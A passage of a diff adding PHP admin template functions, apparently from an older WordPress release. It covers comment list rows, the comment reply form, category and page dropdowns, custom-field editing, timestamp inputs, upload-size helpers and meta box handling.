+					$actions['edit'] = "<a href='comment.php?action=editcomment&amp;c={$comment->comment_ID}' title='" . __('Edit comment') . "'>". __('Edit') . '</a>';
+					$actions['quickedit'] = '<a onclick="commentReply.open(\''.$comment->comment_ID.'\',\''.$post->ID.'\',\'edit\');return false;" class="vim-q" title="'.__('Quick Edit').'" href="#">' . __('Quick&nbsp;Edit') . '</a>';
+					if ( 'spam' != $the_comment_status )
+						$actions['reply'] = '<a onclick="commentReply.open(\''.$comment->comment_ID.'\',\''.$post->ID.'\');return false;" class="vim-r" title="'.__('Reply to this comment').'" href="#">' . __('Reply') . '</a>';
+
+					$actions = apply_filters( 'comment_row_actions', $actions, $comment );
+
+					$i = 0;
+					echo '<div class="row-actions">';
+					foreach ( $actions as $action => $link ) {
+						++$i;
+						( ( ('approve' == $action || 'unapprove' == $action) && 2 === $i ) || 1 === $i ) ? $sep = '' : $sep = ' | ';
+
+						// Reply and quickedit need a hide-if-no-js span when not added with ajax
+						if ( ('reply' == $action || 'quickedit' == $action) && ! $from_ajax )
+							$action .= ' hide-if-no-js';
+
+						echo "<span class='$action'>$sep$link</span>";
+					}
+					echo '</div>';
+				}
+
+				echo '</td>';
+				break;
+			case 'author':
+				echo "<td $attributes><strong>"; comment_author(); echo '</strong><br />';
+				if ( !empty($author_url) )
+					echo "<a title='$author_url' href='$author_url'>$author_url_display</a><br />";
+				if ( $user_can ) {
+					if ( !empty($comment->comment_author_email) ) {
+						comment_author_email_link();
+						echo '<br />';
+					}
+					echo '<a href="edit-comments.php?s=';
+					comment_author_IP();
+					echo '&amp;mode=detail';
+					if ( 'spam' == $comment_status )
+						echo '&amp;comment_status=spam';
+					echo '">';
+					comment_author_IP();
+					echo '</a>';
+				} //current_user_can
+				echo '</td>';
+				break;
+			case 'date':
+				echo "<td $attributes>" . get_comment_date(__('Y/m/d \a\t g:ia')) . '</td>';
+				break;
+			case 'response':
+				if ( 'single' !== $mode ) {
+					if ( isset( $_comment_pending_count[$post->ID] ) ) {
+						$pending_comments = absint( $_comment_pending_count[$post->ID] );
+					} else {
+						$_comment_pending_count_temp = (array) get_pending_comments_num( array( $post->ID ) );
+						$pending_comments = $_comment_pending_count[$post->ID] = $_comment_pending_count_temp[$post->ID];
+					}
+					if ( $user_can ) {
+						$post_link = "<a href='" . get_edit_post_link($post->ID) . "'>";
+						$post_link .= get_the_title($post->ID) . '</a>';
+					} else {
+						$post_link = get_the_title($post->ID);
+					}
+					echo "<td $attributes>\n";
+					echo '<div class="response-links"><span class="post-com-count-wrapper">';
+					echo $post_link . '<br />';
+					$pending_phrase = sprintf( __('%s pending'), number_format( $pending_comments ) );
+					if ( $pending_comments )
+						echo '<strong>';
+					comments_number("<a href='edit-comments.php?p=$post->ID' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link */ _x('0', 'comment count') . '</span></a>', "<a href='edit-comments.php?p=$post->ID' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link */ _x('1', 'comment count') . '</span></a>', "<a href='edit-comments.php?p=$post->ID' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link: % will be substituted by comment count */ _x('%', 'comment count') . '</span></a>');
+					if ( $pending_comments )
+						echo '</strong>';
+					echo '</span> ';
+					echo "<a href='" . get_permalink( $post->ID ) . "'>#</a>";
+					echo '</div>';
+					if ( 'attachment' == $post->post_type && ( $thumb = wp_get_attachment_image( $post->ID, array(80, 60), true ) ) )
+						echo $thumb;
+					echo '</td>';
+				}
+				break;
+			default:
+				echo "<td $attributes>\n";
+				do_action( 'manage_comments_custom_column', $column_name, $comment->comment_ID );
+				echo "</td>\n";
+				break;
+		}
+	}
+	echo "</tr>\n";
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $position
+ * @param unknown_type $checkbox
+ * @param unknown_type $mode
+ */
+function wp_comment_reply($position = '1', $checkbox = false, $mode = 'single', $table_row = true) {
+	global $current_user;
+
+	// allow plugin to replace the popup content
+	$content = apply_filters( 'wp_comment_reply', '', array('position' => $position, 'checkbox' => $checkbox, 'mode' => $mode) );
+
+	if ( ! empty($content) ) {
+		echo $content;
+		return;
+	}
+
+	$columns = get_column_headers('edit-comments');
+	$hidden = array_intersect( array_keys( $columns ), array_filter( get_hidden_columns('edit-comments') ) );
+	$col_count = count($columns) - count($hidden);
+
+?>
+<form method="get" action="">
+<?php if ( $table_row ) : ?>
+<table style="display:none;"><tbody id="com-reply"><tr id="replyrow"><td colspan="<?php echo $col_count; ?>">
+<?php else : ?>
+<div id="com-reply" style="display:none;"><div id="replyrow">
+<?php endif; ?>
+	<div id="replyhead" style="display:none;"><?php _e('Reply to Comment'); ?></div>
+
+	<div id="edithead" style="display:none;">
+		<div class="inside">
+		<label for="author"><?php _e('Name') ?></label>
+		<input type="text" name="newcomment_author" size="50" value="" tabindex="101" id="author" />
+		</div>
+
+		<div class="inside">
+		<label for="author-email"><?php _e('E-mail') ?></label>
+		<input type="text" name="newcomment_author_email" size="50" value="" tabindex="102" id="author-email" />
+		</div>
+
+		<div class="inside">
+		<label for="author-url"><?php _e('URL') ?></label>
+		<input type="text" id="author-url" name="newcomment_author_url" size="103" value="" tabindex="103" />
+		</div>
+		<div style="clear:both;"></div>
+	</div>
+
+	<div id="replycontainer"><textarea rows="8" cols="40" name="replycontent" tabindex="104" id="replycontent"></textarea></div>
+
+	<p id="replysubmit" class="submit">
+	<a href="#comments-form" class="cancel button-secondary alignleft" tabindex="106"><?php _e('Cancel'); ?></a>
+	<a href="#comments-form" class="save button-primary alignright" tabindex="104">
+	<span id="savebtn" style="display:none;"><?php _e('Update Comment'); ?></span>
+	<span id="replybtn" style="display:none;"><?php _e('Submit Reply'); ?></span></a>
+	<img class="waiting" style="display:none;" src="images/wpspin_light.gif" alt="" />
+	<span class="error" style="display:none;"></span>
+	<br class="clear" />
+	</p>
+
+	<input type="hidden" name="user_ID" id="user_ID" value="<?php echo $current_user->ID; ?>" />
+	<input type="hidden" name="action" id="action" value="" />
+	<input type="hidden" name="comment_ID" id="comment_ID" value="" />
+	<input type="hidden" name="comment_post_ID" id="comment_post_ID" value="" />
+	<input type="hidden" name="status" id="status" value="" />
+	<input type="hidden" name="position" id="position" value="<?php echo $position; ?>" />
+	<input type="hidden" name="checkbox" id="checkbox" value="<?php echo $checkbox ? 1 : 0; ?>" />
+	<input type="hidden" name="mode" id="mode" value="<?php echo esc_attr($mode); ?>" />
+	<?php wp_nonce_field( 'replyto-comment', '_ajax_nonce', false ); ?>
+	<?php wp_comment_form_unfiltered_html_nonce(); ?>
+<?php if ( $table_row ) : ?>
+</td></tr></tbody></table>
+<?php else : ?>
+</div></div>
+<?php endif; ?>
+</form>
+<?php
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $currentcat
+ * @param unknown_type $currentparent
+ * @param unknown_type $parent
+ * @param unknown_type $level
+ * @param unknown_type $categories
+ * @return unknown
+ */
+function wp_dropdown_cats( $currentcat = 0, $currentparent = 0, $parent = 0, $level = 0, $categories = 0 ) {
+	if (!$categories )
+		$categories = get_categories( array('hide_empty' => 0) );
+
+	if ( $categories ) {
+		foreach ( $categories as $category ) {
+			if ( $currentcat != $category->term_id && $parent == $category->parent) {
+				$pad = str_repeat( '&#8211; ', $level );
+				$category->name = esc_html( $category->name );
+				echo "\n\t<option value='$category->term_id'";
+				if ( $currentparent == $category->term_id )
+					echo " selected='selected'";
+				echo ">$pad$category->name</option>";
+				wp_dropdown_cats( $currentcat, $currentparent, $category->term_id, $level +1, $categories );
+			}
+		}
+	} else {
+		return false;
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $meta
+ */
+function list_meta( $meta ) {
+	// Exit if no meta
+	if ( ! $meta ) {
+		echo '
+<table id="list-table" style="display: none;">
+	<thead>
+	<tr>
+		<th class="left">' . __( 'Name' ) . '</th>
+		<th>' . __( 'Value' ) . '</th>
+	</tr>
+	</thead>
+	<tbody id="the-list" class="list:meta">
+	<tr><td></td></tr>
+	</tbody>
+</table>'; //TBODY needed for list-manipulation JS
+		return;
+	}
+	$count = 0;
+?>
+<table id="list-table">
+	<thead>
+	<tr>
+		<th class="left"><?php _e( 'Name' ) ?></th>
+		<th><?php _e( 'Value' ) ?></th>
+	</tr>
+	</thead>
+	<tbody id='the-list' class='list:meta'>
+<?php
+	foreach ( $meta as $entry )
+		echo _list_meta_row( $entry, $count );
+?>
+	</tbody>
+</table>
+<?php
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $entry
+ * @param unknown_type $count
+ * @return unknown
+ */
+function _list_meta_row( $entry, &$count ) {
+	static $update_nonce = false;
+	if ( !$update_nonce )
+		$update_nonce = wp_create_nonce( 'add-meta' );
+
+	$r = '';
+	++ $count;
+	if ( $count % 2 )
+		$style = 'alternate';
+	else
+		$style = '';
+	if ('_' == $entry['meta_key'] { 0 } )
+		$style .= ' hidden';
+
+	if ( is_serialized( $entry['meta_value'] ) ) {
+		if ( is_serialized_string( $entry['meta_value'] ) ) {
+			// this is a serialized string, so we should display it
+			$entry['meta_value'] = maybe_unserialize( $entry['meta_value'] );
+		} else {
+			// this is a serialized array/object so we should NOT display it
+			--$count;
+			return;
+		}
+	}
+
+	$entry['meta_key'] = esc_attr($entry['meta_key']);
+	$entry['meta_value'] = htmlspecialchars($entry['meta_value']); // using a <textarea />
+	$entry['meta_id'] = (int) $entry['meta_id'];
+
+	$delete_nonce = wp_create_nonce( 'delete-meta_' . $entry['meta_id'] );
+
+	$r .= "\n\t<tr id='meta-{$entry['meta_id']}' class='$style'>";
+	$r .= "\n\t\t<td class='left'><label class='screen-reader-text' for='meta[{$entry['meta_id']}][key]'>" . __( 'Key' ) . "</label><input name='meta[{$entry['meta_id']}][key]' id='meta[{$entry['meta_id']}][key]' tabindex='6' type='text' size='20' value='{$entry['meta_key']}' />";
+
+	$r .= "\n\t\t<div class='submit'><input name='deletemeta[{$entry['meta_id']}]' type='submit' ";
+	$r .= "class='delete:the-list:meta-{$entry['meta_id']}::_ajax_nonce=$delete_nonce deletemeta' tabindex='6' value='". esc_attr__( 'Delete' ) ."' />";
+	$r .= "\n\t\t<input name='updatemeta' type='submit' tabindex='6' value='". esc_attr__( 'Update' ) ."' class='add:the-list:meta-{$entry['meta_id']}::_ajax_nonce=$update_nonce updatemeta' /></div>";
+	$r .= wp_nonce_field( 'change-meta', '_ajax_nonce', false, false );
+	$r .= "</td>";
+
+	$r .= "\n\t\t<td><label class='screen-reader-text' for='meta[{$entry['meta_id']}][value]'>" . __( 'Value' ) . "</label><textarea name='meta[{$entry['meta_id']}][value]' id='meta[{$entry['meta_id']}][value]' tabindex='6' rows='2' cols='30'>{$entry['meta_value']}</textarea></td>\n\t</tr>";
+	return $r;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ */
+function meta_form() {
+	global $wpdb;
+	$limit = (int) apply_filters( 'postmeta_form_limit', 30 );
+	$keys = $wpdb->get_col( "
+		SELECT meta_key
+		FROM $wpdb->postmeta
+		GROUP BY meta_key
+		HAVING meta_key NOT LIKE '\_%'
+		ORDER BY LOWER(meta_key)
+		LIMIT $limit" );
+	if ( $keys )
+		natcasesort($keys);
+?>
+<p><strong><?php _e( 'Add new custom field:' ) ?></strong></p>
+<table id="newmeta">
+<thead>
+<tr>
+<th class="left"><label for="metakeyselect"><?php _e( 'Name' ) ?></label></th>
+<th><label for="metavalue"><?php _e( 'Value' ) ?></label></th>
+</tr>
+</thead>
+
+<tbody>
+<tr>
+<td id="newmetaleft" class="left">
+<?php if ( $keys ) { ?>
+<select id="metakeyselect" name="metakeyselect" tabindex="7">
+<option value="#NONE#"><?php _e( '- Select -' ); ?></option>
+<?php
+
+	foreach ( $keys as $key ) {
+		$key = esc_attr( $key );
+		echo "\n<option value='" . esc_attr($key) . "'>$key</option>";
+	}
+?>
+</select>
+<input class="hide-if-js" type="text" id="metakeyinput" name="metakeyinput" tabindex="7" value="" />
+<a href="#postcustomstuff" class="hide-if-no-js" onclick="jQuery('#metakeyinput, #metakeyselect, #enternew, #cancelnew').toggle();return false;">
+<span id="enternew"><?php _e('Enter new'); ?></span>
+<span id="cancelnew" class="hidden"><?php _e('Cancel'); ?></span></a>
+<?php } else { ?>
+<input type="text" id="metakeyinput" name="metakeyinput" tabindex="7" value="" />
+<?php } ?>
+</td>
+<td><textarea id="metavalue" name="metavalue" rows="2" cols="25" tabindex="8"></textarea></td>
+</tr>
+
+<tr><td colspan="2" class="submit">
+<input type="submit" id="addmetasub" name="addmeta" class="add:the-list:newmeta" tabindex="9" value="<?php esc_attr_e( 'Add Custom Field' ) ?>" />
+<?php wp_nonce_field( 'add-meta', '_ajax_nonce', false ); ?>
+</td></tr>
+</tbody>
+</table>
+<?php
+
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $edit
+ * @param unknown_type $for_post
+ * @param unknown_type $tab_index
+ * @param unknown_type $multi
+ */
+function touch_time( $edit = 1, $for_post = 1, $tab_index = 0, $multi = 0 ) {
+	global $wp_locale, $post, $comment;
+
+	if ( $for_post )
+		$edit = ( in_array($post->post_status, array('draft', 'pending') ) && (!$post->post_date_gmt || '0000-00-00 00:00:00' == $post->post_date_gmt ) ) ? false : true;
+
+	$tab_index_attribute = '';
+	if ( (int) $tab_index > 0 )
+		$tab_index_attribute = " tabindex=\"$tab_index\"";
+
+	// echo '<label for="timestamp" style="display: block;"><input type="checkbox" class="checkbox" name="edit_date" value="1" id="timestamp"'.$tab_index_attribute.' /> '.__( 'Edit timestamp' ).'</label><br />';
+
+	$time_adj = time() + (get_option( 'gmt_offset' ) * 3600 );
+	$post_date = ($for_post) ? $post->post_date : $comment->comment_date;
+	$jj = ($edit) ? mysql2date( 'd', $post_date, false ) : gmdate( 'd', $time_adj );
+	$mm = ($edit) ? mysql2date( 'm', $post_date, false ) : gmdate( 'm', $time_adj );
+	$aa = ($edit) ? mysql2date( 'Y', $post_date, false ) : gmdate( 'Y', $time_adj );
+	$hh = ($edit) ? mysql2date( 'H', $post_date, false ) : gmdate( 'H', $time_adj );
+	$mn = ($edit) ? mysql2date( 'i', $post_date, false ) : gmdate( 'i', $time_adj );
+	$ss = ($edit) ? mysql2date( 's', $post_date, false ) : gmdate( 's', $time_adj );
+
+	$cur_jj = gmdate( 'd', $time_adj );
+	$cur_mm = gmdate( 'm', $time_adj );
+	$cur_aa = gmdate( 'Y', $time_adj );
+	$cur_hh = gmdate( 'H', $time_adj );
+	$cur_mn = gmdate( 'i', $time_adj );
+
+	$month = "<select " . ( $multi ? '' : 'id="mm" ' ) . "name=\"mm\"$tab_index_attribute>\n";
+	for ( $i = 1; $i < 13; $i = $i +1 ) {
+		$month .= "\t\t\t" . '<option value="' . zeroise($i, 2) . '"';
+		if ( $i == $mm )
+			$month .= ' selected="selected"';
+		$month .= '>' . $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) ) . "</option>\n";
+	}
+	$month .= '</select>';
+
+	$day = '<input type="text" ' . ( $multi ? '' : 'id="jj" ' ) . 'name="jj" value="' . $jj . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" />';
+	$year = '<input type="text" ' . ( $multi ? '' : 'id="aa" ' ) . 'name="aa" value="' . $aa . '" size="4" maxlength="4"' . $tab_index_attribute . ' autocomplete="off" />';
+	$hour = '<input type="text" ' . ( $multi ? '' : 'id="hh" ' ) . 'name="hh" value="' . $hh . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" />';
+	$minute = '<input type="text" ' . ( $multi ? '' : 'id="mn" ' ) . 'name="mn" value="' . $mn . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" />';
+	/* translators: 1: month input, 2: day input, 3: year input, 4: hour input, 5: minute input */
+	printf(__('%1$s%2$s, %3$s @ %4$s : %5$s'), $month, $day, $year, $hour, $minute);
+
+	echo '<input type="hidden" id="ss" name="ss" value="' . $ss . '" />';
+
+	if ( $multi ) return;
+
+	echo "\n\n";
+	foreach ( array('mm', 'jj', 'aa', 'hh', 'mn') as $timeunit ) {
+		echo '<input type="hidden" id="hidden_' . $timeunit . '" name="hidden_' . $timeunit . '" value="' . $$timeunit . '" />' . "\n";
+		$cur_timeunit = 'cur_' . $timeunit;
+		echo '<input type="hidden" id="'. $cur_timeunit . '" name="'. $cur_timeunit . '" value="' . $$cur_timeunit . '" />' . "\n";
+	}
+?>
+
+<p>
+<a href="#edit_timestamp" class="save-timestamp hide-if-no-js button"><?php _e('OK'); ?></a>
+<a href="#edit_timestamp" class="cancel-timestamp hide-if-no-js"><?php _e('Cancel'); ?></a>
+</p>
+<?php
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $default
+ */
+function page_template_dropdown( $default = '' ) {
+	$templates = get_page_templates();
+	ksort( $templates );
+	foreach (array_keys( $templates ) as $template )
+		: if ( $default == $templates[$template] )
+			$selected = " selected='selected'";
+		else
+			$selected = '';
+	echo "\n\t<option value='".$templates[$template]."' $selected>$template</option>";
+	endforeach;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $default
+ * @param unknown_type $parent
+ * @param unknown_type $level
+ * @return unknown
+ */
+function parent_dropdown( $default = 0, $parent = 0, $level = 0 ) {
+	global $wpdb, $post_ID;
+	$items = $wpdb->get_results( $wpdb->prepare("SELECT ID, post_parent, post_title FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'page' ORDER BY menu_order", $parent) );
+
+	if ( $items ) {
+		foreach ( $items as $item ) {
+			// A page cannot be its own parent.
+			if (!empty ( $post_ID ) ) {
+				if ( $item->ID == $post_ID ) {
+					continue;
+				}
+			}
+			$pad = str_repeat( '&nbsp;', $level * 3 );
+			if ( $item->ID == $default)
+				$current = ' selected="selected"';
+			else
+				$current = '';
+
+			echo "\n\t<option class='level-$level' value='$item->ID'$current>$pad " . esc_html($item->post_title) . "</option>";
+			parent_dropdown( $default, $item->ID, $level +1 );
+		}
+	} else {
+		return false;
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ */
+function browse_happy() {
+	$getit = __( 'WordPress recommends a better browser' );
+	echo '
+		<div id="bh"><a href="http://browsehappy.com/" title="'.$getit.'"><img src="images/browse-happy.gif" alt="Browse Happy" /></a></div>
+';
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $id
+ * @return unknown
+ */
+function the_attachment_links( $id = false ) {
+	$id = (int) $id;
+	$post = & get_post( $id );
+
+	if ( $post->post_type != 'attachment' )
+		return false;
+
+	$icon = get_attachment_icon( $post->ID );
+	$attachment_data = wp_get_attachment_metadata( $id );
+	$thumb = isset( $attachment_data['thumb'] );
+?>
+<form id="the-attachment-links">
+<table>
+	<col />
+	<col class="widefat" />
+	<tr>
+		<th scope="row"><?php _e( 'URL' ) ?></th>
+		<td><textarea rows="1" cols="40" type="text" class="attachmentlinks" readonly="readonly"><?php echo wp_get_attachment_url(); ?></textarea></td>
+	</tr>
+<?php if ( $icon ) : ?>
+	<tr>
+		<th scope="row"><?php $thumb ? _e( 'Thumbnail linked to file' ) : _e( 'Image linked to file' ); ?></th>
+		<td><textarea rows="1" cols="40" type="text" class="attachmentlinks" readonly="readonly"><a href="<?php echo wp_get_attachment_url(); ?>"><?php echo $icon ?></a></textarea></td>
+	</tr>
+	<tr>
+		<th scope="row"><?php $thumb ? _e( 'Thumbnail linked to page' ) : _e( 'Image linked to page' ); ?></th>
+		<td><textarea rows="1" cols="40" type="text" class="attachmentlinks" readonly="readonly"><a href="<?php echo get_attachment_link( $post->ID ) ?>" rel="attachment wp-att-<?php echo $post->ID; ?>"><?php echo $icon ?></a></textarea></td>
+	</tr>
+<?php else : ?>
+	<tr>
+		<th scope="row"><?php _e( 'Link to file' ) ?></th>
+		<td><textarea rows="1" cols="40" type="text" class="attachmentlinks" readonly="readonly"><a href="<?php echo wp_get_attachment_url(); ?>" class="attachmentlink"><?php echo basename( wp_get_attachment_url() ); ?></a></textarea></td>
+	</tr>
+	<tr>
+		<th scope="row"><?php _e( 'Link to page' ) ?></th>
+		<td><textarea rows="1" cols="40" type="text" class="attachmentlinks" readonly="readonly"><a href="<?php echo get_attachment_link( $post->ID ) ?>" rel="attachment wp-att-<?php echo $post->ID ?>"><?php the_title(); ?></a></textarea></td>
+	</tr>
+<?php endif; ?>
+</table>
+</form>
+<?php
+}
+
+
+/**
+ * Print out <option> html elements for role selectors based on $wp_roles
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 2.1
+ *
+ * @uses $wp_roles
+ * @param string $default slug for the role that should be already selected
+ */
+function wp_dropdown_roles( $selected = false ) {
+	global $wp_roles;
+	$p = '';
+	$r = '';
+
+	$editable_roles = get_editable_roles();
+
+	foreach( $editable_roles as $role => $details ) {
+		$name = translate_user_role($details['name'] );
+		if ( $selected == $role ) // Make default first in list
+			$p = "\n\t<option selected='selected' value='" . esc_attr($role) . "'>$name</option>";
+		else
+			$r .= "\n\t<option value='" . esc_attr($role) . "'>$name</option>";
+	}
+	echo $p . $r;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $size
+ * @return unknown
+ */
+function wp_convert_hr_to_bytes( $size ) {
+	$size = strtolower($size);
+	$bytes = (int) $size;
+	if ( strpos($size, 'k') !== false )
+		$bytes = intval($size) * 1024;
+	elseif ( strpos($size, 'm') !== false )
+		$bytes = intval($size) * 1024 * 1024;
+	elseif ( strpos($size, 'g') !== false )
+		$bytes = intval($size) * 1024 * 1024 * 1024;
+	return $bytes;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $bytes
+ * @return unknown
+ */
+function wp_convert_bytes_to_hr( $bytes ) {
+	$units = array( 0 => 'B', 1 => 'kB', 2 => 'MB', 3 => 'GB' );
+	$log = log( $bytes, 1024 );
+	$power = (int) $log;
+	$size = pow(1024, $log - $power);
+	return $size . $units[$power];
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function wp_max_upload_size() {
+	$u_bytes = wp_convert_hr_to_bytes( ini_get( 'upload_max_filesize' ) );
+	$p_bytes = wp_convert_hr_to_bytes( ini_get( 'post_max_size' ) );
+	$bytes = apply_filters( 'upload_size_limit', min($u_bytes, $p_bytes), $u_bytes, $p_bytes );
+	return $bytes;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $action
+ */
+function wp_import_upload_form( $action ) {
+	$bytes = apply_filters( 'import_upload_size_limit', wp_max_upload_size() );
+	$size = wp_convert_bytes_to_hr( $bytes );
+	$upload_dir = wp_upload_dir();
+	if ( ! empty( $upload_dir['error'] ) ) :
+		?><div class="error"><p><?php _e('Before you can upload your import file, you will need to fix the following error:'); ?></p>
+		<p><strong><?php echo $upload_dir['error']; ?></strong></p></div><?php
+	else :
+?>
+<form enctype="multipart/form-data" id="import-upload-form" method="post" action="<?php echo esc_attr($action) ?>">
+<p>
+<?php wp_nonce_field('import-upload'); ?>
+<label for="upload"><?php _e( 'Choose a file from your computer:' ); ?></label> (<?php printf( __('Maximum size: %s' ), $size ); ?>)
+<input type="file" id="upload" name="import" size="25" />
+<input type="hidden" name="action" value="save" />
+<input type="hidden" name="max_file_size" value="<?php echo $bytes; ?>" />
+</p>
+<p class="submit">
+<input type="submit" class="button" value="<?php esc_attr_e( 'Upload file and import' ); ?>" />
+</p>
+</form>
+<?php
+	endif;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ */
+function wp_remember_old_slug() {
+	global $post;
+	$name = esc_attr($post->post_name); // just in case
+	if ( strlen($name) )
+		echo '<input type="hidden" id="wp-old-slug" name="wp-old-slug" value="' . $name . '" />';
+}
+
+/**
+ * Add a meta box to an edit form.
+ *
+ * @since 2.5.0
+ *
+ * @param string $id String for use in the 'id' attribute of tags.
+ * @param string $title Title of the meta box.
+ * @param string $callback Function that fills the box with the desired content. The function should echo its output.
+ * @param string $page The type of edit page on which to show the box (post, page, link).
+ * @param string $context The context within the page where the boxes should show ('normal', 'advanced').
+ * @param string $priority The priority within the context where the boxes should show ('high', 'low').
+ */
+function add_meta_box($id, $title, $callback, $page, $context = 'advanced', $priority = 'default', $callback_args=null) {
+	global $wp_meta_boxes;
+
+	if ( !isset($wp_meta_boxes) )
+		$wp_meta_boxes = array();
+	if ( !isset($wp_meta_boxes[$page]) )
+		$wp_meta_boxes[$page] = array();
+	if ( !isset($wp_meta_boxes[$page][$context]) )
+		$wp_meta_boxes[$page][$context] = array();
+
+	foreach ( array_keys($wp_meta_boxes[$page]) as $a_context ) {
+	foreach ( array('high', 'core', 'default', 'low') as $a_priority ) {
+		if ( !isset($wp_meta_boxes[$page][$a_context][$a_priority][$id]) )
+			continue;
+
+		// If a core box was previously added or removed by a plugin, don't add.
+		if ( 'core' == $priority ) {
+			// If core box previously deleted, don't add
+			if ( false === $wp_meta_boxes[$page][$a_context][$a_priority][$id] )
+				return;
+			// If box was added with default priority, give it core priority to maintain sort order
+			if ( 'default' == $a_priority ) {
+				$wp_meta_boxes[$page][$a_context]['core'][$id] = $wp_meta_boxes[$page][$a_context]['default'][$id];
+				unset($wp_meta_boxes[$page][$a_context]['default'][$id]);
+			}
+			return;
+		}
+		// If no priority given and id already present, use existing priority
+		if ( empty($priority) ) {
+			$priority = $a_priority;
+		// else if we're adding to the sorted priortiy, we don't know the title or callback. Glab them from the previously added context/priority.
+		} elseif ( 'sorted' == $priority ) {
+			$title = $wp_meta_boxes[$page][$a_context][$a_priority][$id]['title'];
+			$callback = $wp_meta_boxes[$page][$a_context][$a_priority][$id]['callback'];
+			$callback_args = $wp_meta_boxes[$page][$a_context][$a_priority][$id]['args'];
+		}
+		// An id can be in only one priority and one context
+		if ( $priority != $a_priority || $context != $a_context )
+			unset($wp_meta_boxes[$page][$a_context][$a_priority][$id]);
+	}
+	}
+
+	if ( empty($priority) )
+		$priority = 'low';
+
+	if ( !isset($wp_meta_boxes[$page][$context][$priority]) )
+		$wp_meta_boxes[$page][$context][$priority] = array();
+
+	$wp_meta_boxes[$page][$context][$priority][$id] = array('id' => $id, 'title' => $title, 'callback' => $callback, 'args' => $callback_args);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $page
+ * @param unknown_type $context
+ * @param unknown_type $object
+ * @return int number of meta_boxes
+ */
+function do_meta_boxes($page, $context, $object) {
+	global $wp_meta_boxes;
+	static $already_sorted = false;
+
+	//do_action('do_meta_boxes', $page, $context, $object);
+
+	$hidden = get_hidden_meta_boxes($page);
+
+	echo "<div id='$context-sortables' class='meta-box-sortables'>\n";
+
+	$i = 0;
+	do {
+		// Grab the ones the user has manually sorted. Pull them out of their previous context/priority and into the one the user chose
+		if ( !$already_sorted && $sorted = get_user_option( "meta-box-order_$page", 0, false ) ) {
+			foreach ( $sorted as $box_context => $ids )
+				foreach ( explode(',', $ids) as $id )
+					if ( $id )
+						add_meta_box( $id, null, null, $page, $box_context, 'sorted' );
+		}
+		$already_sorted = true;
+
+		if ( !isset($wp_meta_boxes) || !isset($wp_meta_boxes[$page]) || !isset($wp_meta_boxes[$page][$context]) )
+			break;
+
+		foreach ( array('high', 'sorted', 'core', 'default', 'low') as $priority ) {
+			if ( isset($wp_meta_boxes[$page][$context][$priority]) ) {
+				foreach ( (array) $wp_meta_boxes[$page][$context][$priority] as $box ) {
+					if ( false == $box || ! $box['title'] )
+						continue;
+					$i++;
+					$style = '';
+					if ( in_array($box['id'], $hidden) )
+						$style = 'style="display:none;"';
+					echo '<div id="' . $box['id'] . '" class="postbox ' . postbox_classes($box['id'], $page) . '" ' . $style . '>' . "\n";
+					echo '<div class="handlediv" title="' . __('Click to toggle') . '"><br /></div>';
+					echo "<h3 class='hndle'><span>{$box['title']}</span></h3>\n";
+					echo '<div class="inside">' . "\n";
+					call_user_func($box['callback'], $object, $box);
+					echo "</div>\n";
+					echo "</div>\n";
+				}
+			}
+		}
+	} while(0);
+
+	echo "</div>";
+
+	return $i;
+
+}
+
+/**
+ * Remove a meta box from an edit form.
+ *
+ * @since 2.6.0
+ *
+ * @param string $id String for use in the 'id' attribute of tags.
+ * @param string $page The type of edit page on which to show the box (post, page, link).
+ * @param string $context The context within the page where the boxes should show ('normal', 'advanced').
+ */
+function remove_meta_box($id, $page, $context) {
+	global $wp_meta_boxes;
+
+	if ( !isset($wp_meta_boxes) )
+		$wp_meta_boxes = array();
+	if ( !isset($wp_meta_boxes[$page]) )
+		$wp_meta_boxes[$page] = array();
+	if ( !isset($wp_meta_boxes[$page][$context]) )
+		$wp_meta_boxes[$page][$context] = array();
+
+	foreach ( array('high', 'core', 'default', 'low') as $priority )
+		$wp_meta_boxes[$page][$context][$priority][$id] = false;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $page
+ */
+function meta_box_prefs($page) {
+	global $wp_meta_boxes;
+
+	if ( empty($wp_meta_boxes[$page]) )
+		return;
+
+	$hidden = get_hidden_meta_boxes($page);
+
+	foreach ( array_keys($wp_meta_boxes[$page]) as $context ) {
+		foreach ( array_keys($wp_meta_boxes[$page][$context]) as $priority ) {
+			foreach ( $wp_meta_boxes[$page][$context][$priority] as $box ) {
+				if ( false == $box || ! $box['title'] )
